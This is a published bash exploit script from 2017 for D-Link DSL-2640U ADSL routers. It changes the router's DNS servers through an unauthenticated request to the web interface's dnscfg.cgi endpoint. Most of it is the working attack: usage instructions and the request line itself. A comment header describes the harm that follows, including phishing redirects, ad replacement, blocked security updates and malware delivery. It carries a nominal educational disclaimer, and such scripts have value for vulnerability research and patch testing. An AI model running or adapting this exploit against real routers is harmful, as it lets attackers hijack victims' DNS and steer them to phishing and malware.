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D-Link DSL-2640U - Unauthenticated DNS Change
来源:https://www.ethical-hacker.org/ 作者:Donev 发布时间:2017-06-20  
#!/bin/bash
#
#   D-Link ADSL DSL-2640U IM_1.00
#   Unauthenticated Remote DNS Change Exploit
#
#  Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>
https://www.ethical-hacker.org/
https://www.facebook.com/ethicalhackerorg
#
#  Description: 
#  The vulnerability exist in the web interface, which is
#  accessible without authentication.
#
#  Once modified, systems use foreign DNS servers,  which are
#  usually set up by cybercriminals. Users with vulnerable
#  systems or devices who try to access certain sites are
#  instead redirected to possibly malicious sites.

#  Modifying systems' DNS settings allows cybercriminals to
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites:
#       These sites can be phishing pages that
#       spoof well-known sites in order to
#       trick users into handing out sensitive
#       information.
#
#    o  Replacing ads on legitimate sites:
#       Visiting certain sites can serve users
#       with infected systems a different set
#       of ads from those whose systems are
#       not infected.
#  
#    o  Controlling and redirecting network traffic:
#       Users of infected systems may not be granted
#       access to download important OS and software
#       updates from vendors like Microsoft and from
#       their respective security vendors.
#
#    o  Pushing additional malware:
#       Infected systems are more prone to other
#       malware infections (e.g., FAKEAV infection).
#
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#

 
if [[ $# -gt 3 || $# -lt 2 ]]; then
        echo "               D-Link ADSL DSL-2640U IM_1.00 "
        echo "           Unauthenticated Remote DNS Change Exploit"
        echo "  ==================================================================="
        echo "  Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
        echo "  Example: $0 133.7.133.7 8.8.8.8"
        echo "  Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
        echo ""
        echo "      Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>"
        echo "  https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  Error : libwww-perl not found =/"
        exit;
fi
        GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1
 
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